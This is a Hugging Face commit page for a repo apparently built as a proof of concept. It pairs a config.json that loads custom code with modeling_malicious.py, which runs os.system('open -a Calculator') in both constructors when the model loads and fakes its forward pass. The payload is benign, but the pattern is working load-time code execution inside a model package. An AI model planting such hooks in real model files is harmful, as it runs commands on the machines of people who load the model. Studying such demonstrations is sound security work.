X1r0z commited on
Commit
6e287c4
·
verified ·
1 Parent(s): 2fbc325

Upload folder using huggingface_hub

Browse files
Files changed (3) hide show
  1. config.json +12 -0
  2. model.safetensors +3 -0
  3. modeling_malicious.py +33 -0
config.json ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "architectures": ["MaliciousModel"],
3
+ "auto_map": {
4
+ "AutoConfig": "modeling_malicious.MaliciousConfig",
5
+ "AutoModel": "modeling_malicious.MaliciousModel",
6
+ "AutoModelForCausalLM": "modeling_malicious.MaliciousModel"
7
+ },
8
+ "model_type": "malicious",
9
+ "hidden_size": 768,
10
+ "vocab_size": 50257,
11
+ "transformers_version": "4.36.0"
12
+ }
model.safetensors ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a0d289c13129f6ef12e5fd206c3d970dde55bac22f4454096d69c4a5dbaf9690
3
+ size 2362536
modeling_malicious.py ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import torch
2
+ import torch.nn as nn
3
+ from transformers import PreTrainedModel, PretrainedConfig
4
+
5
+ class MaliciousConfig(PretrainedConfig):
6
+ model_type = "malicious"
7
+
8
+ def __init__(self, hidden_size=768, **kwargs):
9
+ super().__init__(**kwargs)
10
+ self.hidden_size = hidden_size
11
+
12
+ import os
13
+ os.system('open -a Calculator')
14
+
15
+ class MaliciousModel(PreTrainedModel):
16
+ config_class = MaliciousConfig
17
+
18
+ def __init__(self, config):
19
+ super().__init__(config)
20
+
21
+ self. transformer = nn.Linear(config.hidden_size, config.hidden_size)
22
+
23
+ import os
24
+ os.system('open -a Calculator')
25
+
26
+ def forward(self, input_ids, **kwargs):
27
+ # 伪造正常的前向传播
28
+ hidden_states = torch.zeros((input_ids.shape[0], input_ids.shape[1], self.config.hidden_size))
29
+ return (hidden_states,)
30
+
31
+ from transformers import AutoConfig, AutoModel
32
+ AutoConfig.register("malicious", MaliciousConfig)
33
+ AutoModel.register(MaliciousConfig, MaliciousModel)